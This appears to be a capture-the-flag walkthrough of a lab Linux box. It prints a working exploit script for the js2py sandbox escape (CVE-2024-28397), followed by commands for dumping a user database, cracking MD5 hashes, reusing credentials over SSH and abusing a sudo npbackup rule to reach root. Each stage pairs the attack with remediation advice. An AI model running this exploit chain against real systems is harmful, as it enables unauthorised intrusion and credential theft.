← all walkthroughs

CodePartTwo

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
7m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target codeparttwo ($TARGET) ran a Python web application served by Gunicorn on port 8000. The application exposed an unauthenticated /run_code endpoint that passed caller-supplied JavaScript to the js2py library. A known sandbox-escape flaw in js2py ≤ 0.74 (CVE-2024-28397) lets me walk Python's internal class hierarchy from within JavaScript and invoke subprocess functions, producing unauthenticated OS command execution as the app OS user (uid=1001).

From that foothold I read the application's SQLite database and extracted three users' passwords stored as raw, unsalted MD5 hashes. Cracking marco's hash offline in seconds yielded the cleartext password, which he had reused as his OS login credential; SSH access as marco produced the user flag. Inspecting sudo rights revealed that marco could run the npbackup backup utility as root without a password and could supply an arbitrary configuration file via --config-file.

By copying the legitimate config, redirecting its backup paths entry from the application directory to /root, and triggering the backup as root, I archived and then restored root.txt — completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Scanned the host and identified two exposed services
A service-version scan against $TARGET returned two open TCP ports: 22 running OpenSSH 8.2p1 on Ubuntu and 8000 serving a Gunicorn 20.0.4 Python WSGI application. SSH later refused connections, leaving the web application as the only reachable attack surface.
22/tcp ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13.
Exact commands 2
shell

Service-version fingerprint of the two discovered ports.

$ nmap -Pn -sV -p22,8000 $TARGET
shell

Fetch the application home page to identify technology, links, and endpoint hints.

$ curl -si http://$TARGET:8000/
2EnumerationWeb content and endpoint discovery
Discovered an unauthenticated server-side code-execution endpoint
Browsing port 8000 revealed user registration and login pages. Content discovery surfaced a /run_code endpoint that accepted JSON-encoded JavaScript via POST and returned the evaluated result — with no authentication required. Error messages and stack traces confirmed the server-side interpreter was the js2py library running under Python.
Exact commands 2
shell

Probe the endpoint with benign input; a 200 with {"result":"2"} confirms it evaluates and returns JavaScript output.

$ curl -s -X POST http://$TARGET:8000/run_code -H 'Content-Type: application/json' -d '{"code":"1+1"}'
shell

Optional broader content discovery to surface additional endpoints.

$ ffuf -u http://$TARGET:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,302,401
FixRemove or isolate the unauthenticated server-side code-execution endpointCritical
WeaknessThe /run_code endpoint accepted arbitrary JavaScript from any unauthenticated caller and executed it server-side through the js2py library. js2py ≤ 0.74 (CVE-2024-28397) does not fully isolate its JavaScript context from the host Python runtime, allowing callers to traverse Python's class hierarchy, reach subprocess, and execute arbitrary OS commands with the permissions of the web-server process.
FixIf /run_code is not a production requirement, delete the endpoint entirely. If server-side code execution is a genuine product feature, run it in an isolated container or VM with no access to the host filesystem, database, or internal network, and require authentication plus per-user rate limiting before accepting input. Update js2py to a version that resolves CVE-2024-28397, or replace it with a hardened runtime (e.g., a sandboxed Node.js child process, Pyodide in a restricted worker, or a purpose-built code-execution API). As defence in depth, run the web-application process under a dedicated low-privilege OS account with a read-only filesystem namespace.
3Exploitationjs2py sandbox escape — CVE-2024-28397
Escaped the js2py JavaScript sandbox to execute OS commands (CVE-2024-28397)
The js2py library ≤ 0.74 exposes Python's internal object hierarchy to its JavaScript context through an incomplete bridge. By calling Object.getOwnPropertyNames({}) to obtain a Python-backed object and traversing __subclasses__() from the base class, I located Python's catch_warnings class, dereferences its bound __builtins__ module, and calls subprocess.check_output() — bypassing the sandbox entirely. Posting this payload to /run_code returned the output of the OS id command, confirming unauthenticated RCE as app (uid=1001, gid=1001).
Exact commands 1
shell

Create the CVE-2024-28397 driver script then run it. Swap the argument for any OS command.

$ cat > rce.py <<EOF
import requests, json, sys
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
code = ('let cmd=' + json.dumps(cmd) + ';'
        'let g=Object.getOwnPropertyNames({}).__getattribute__;'
        'let b=g("__class__").__base__;'
        'let result="";'
        'for(let i in b.__subclasses__()){'
        '  let c=b.__subclasses__()[i];'
        '  if(c.__name__=="catch_warnings"){'
        '    let bi=c()._module.__builtins__;'
        '    result=bi.__dict__["__import__"]("subprocess").check_output(cmd,shell=true,text=true);'
        '    break;}}'
        'result;')
print(requests.post("http://$TARGET:8000/run_code", json={'code': code}).json())
EOF
python3 rce.py 'id'
4Credential ExfiltrationCredential dumping via OS command execution (T1552.001)
Dumped the SQLite user database through the RCE foothold
With OS command execution as the app user, I located the application's SQLite database file and queried the users table directly, recovering three accounts — marco, app, and ptest176 — each storing its password as a raw unsalted MD5 hash. A direct read of /home/marco was blocked by filesystem permissions, so lateral movement via credentials was the necessary next step.
Exact commands 2
shell

Locate the SQLite database file.

$ python3 rce.py 'find /home/app -name "*.db" 2>/dev/null'
shell

Dump all rows from the users table. Substitute the real DB path from the previous command if it differs.

$ python3 rce.py 'sqlite3 /home/app/app/users.db "SELECT * FROM users;"'
5Credential CrackingOffline password cracking — unsalted MD5 (T1110.002)
Cracked marco's unsalted MD5 hash to recover his cleartext password
The MD5 hash for marco was submitted to hashcat against the rockyou wordlist. Because the hash was stored without a per-user salt, dictionary attacks run at hundreds of millions of guesses per second on commodity hardware and the hash cracked immediately. The password resolved to the password.
Exact commands 2
shell

Save the raw MD5 hash to a file.

$ echo "$HASH" > marco.hash
shell

Mode 0 = raw MD5. Resolves to: <withheld>.

$ hashcat -m 0 marco.hash /usr/share/wordlists/rockyou.txt --force
FixReplace unsalted MD5 password hashes with a modern, slow, salted algorithmHigh
WeaknessUser passwords were stored as raw MD5 hashes with no per-user salt. MD5 is a fast, general-purpose cryptographic hash, not a password-hashing function; identical passwords always produce identical digests, enabling dictionary and rainbow-table attacks that process hundreds of millions of candidates per second on commodity hardware.
FixReplace MD5 with a purpose-built password-hashing function — bcrypt, scrypt, or Argon2id — all of which embed a unique random salt per record and are deliberately tuned to be slow. In Python, passlib (passlib.hash.argon2) or werkzeug.security provide drop-in replacements. Migrate existing hashes by re-hashing on each user's next successful login and force-expire any accounts that do not re-authenticate within a defined window. Rotate all credentials on this host immediately.
6Lateral MovementValid accounts — credential reuse (T1078)
Authenticated via SSH as marco using the cracked web-app password
The password cracked from the web application database was identical to marco's OS account password, allowing direct SSH login to the host. The user flag was read from /home/marco/user.txt.
Sshpass -p <withheld> ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 marco@$TARGET 'id.
Exact commands 2
shell

Opens an interactive shell as marco. Password: $PASSWORD

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no marco@$TARGET
shell

Reads the user flag: <user.txt>.

$ cat /home/marco/user.txt
FixEnforce distinct credentials for web-application and OS accounts, and prefer SSH key authenticationHigh
WeaknessThe OS login password for user marco was identical to his web-application password. Once the application database was read through the RCE, the single cracked credential unlocked SSH access to the host with no additional barrier.
FixEnforce a policy that application and OS account passwords are always different — document it and, where technically feasible, detect and block reuse at password-change time. Disable password-based SSH authentication in favour of SSH key pairs (set PasswordAuthentication no in /etc/ssh/sshd_config and distribute public keys through a controlled provisioning process). Rotate marco's OS and application credentials immediately, and audit other accounts for the same pattern.
7Privilege EscalationSudo misconfiguration — user-controlled config path (T1548.003)
Abused a sudo NOPASSWD npbackup rule with a user-controlled config file to archive and read /root
Checking sudo rights as marco revealed a NOPASSWD entry permitting npbackup to run as root with an arbitrary --config-file argument. Marco's home directory contained npbackup.conf, which specified the backup repository credentials and a paths list targeting /home/app/app/. I copied the file and replaced the paths value with /root, then ran npbackup as root with the modified config. The root-privileged backup job archived /root into the repository. Restoring the archive as marco made root.txt accessible in the restore destination.
Cp /home/marco/npbackup.conf /tmp/npbackup-root.conf; Python script replaces paths entry /home/app/app/ → /root; sudo npbackup invoked with modified config.
Exact commands 5
shell

Verify the NOPASSWD entry: (root) NOPASSWD: /usr/bin/npbackup --config-file *.

$ sudo -l
shell

Copy the config so the original is unchanged.

$ cp /home/marco/npbackup.conf /tmp/npbackup-root.conf
shell

Redirect the backup source path from the app directory to /root. Adjust indentation to match the actual YAML indentation in the file — inspect with: grep -n 'paths' /tmp/npbackup-root.conf

$ python3 -c "from pathlib import Path; p=Path('/tmp/npbackup-root.conf'); s=p.read_text(); s=s.replace('paths:\n    - /home/app/app/', 'paths:\n    - /root'); p.write_text(s)"
shell

Run the backup as root. Archives /root into the repository defined in the config.

$ sudo npbackup --config-file /tmp/npbackup-root.conf --backup
shell

Restore the archive as marco (repo is accessible to marco via credentials in the config). Reads the root flag: <root.txt>.

$ npbackup --config-file /tmp/npbackup-root.conf --restore --destination /tmp/restore_root && cat /tmp/restore_root/root/root.txt
FixRemove the NOPASSWD sudo rule for npbackup and lock the config file path to a root-owned fileCritical
WeaknessA sudoers entry allowed the OS user marco to run /usr/bin/npbackup as root without a password and to supply any file as --config-file. Because npbackup trusts the paths listed in its config, a user-controlled config file is equivalent to a root-privileged arbitrary-file-read primitive: anything on the filesystem can be backed up and then restored by the low-privilege user.
FixRemove the NOPASSWD sudo entry for npbackup. If automated root-level backups are required, schedule them from a root-owned cron job using a config file owned by root and not writable by other users (e.g., /etc/npbackup/backup.conf, mode 0600, owner root). If the sudo entry must remain for operational reasons, restrict it to a single fixed, immutable config path — for example: marco ALL=(root) NOPASSWD: /usr/bin/npbackup --config-file /etc/npbackup/backup.conf — and verify that file cannot be modified or replaced by marco. Apply least-privilege: the backup service account should have read access only to the directories it is authorised to archive.

Exposed services

22/tcp
8000/tcp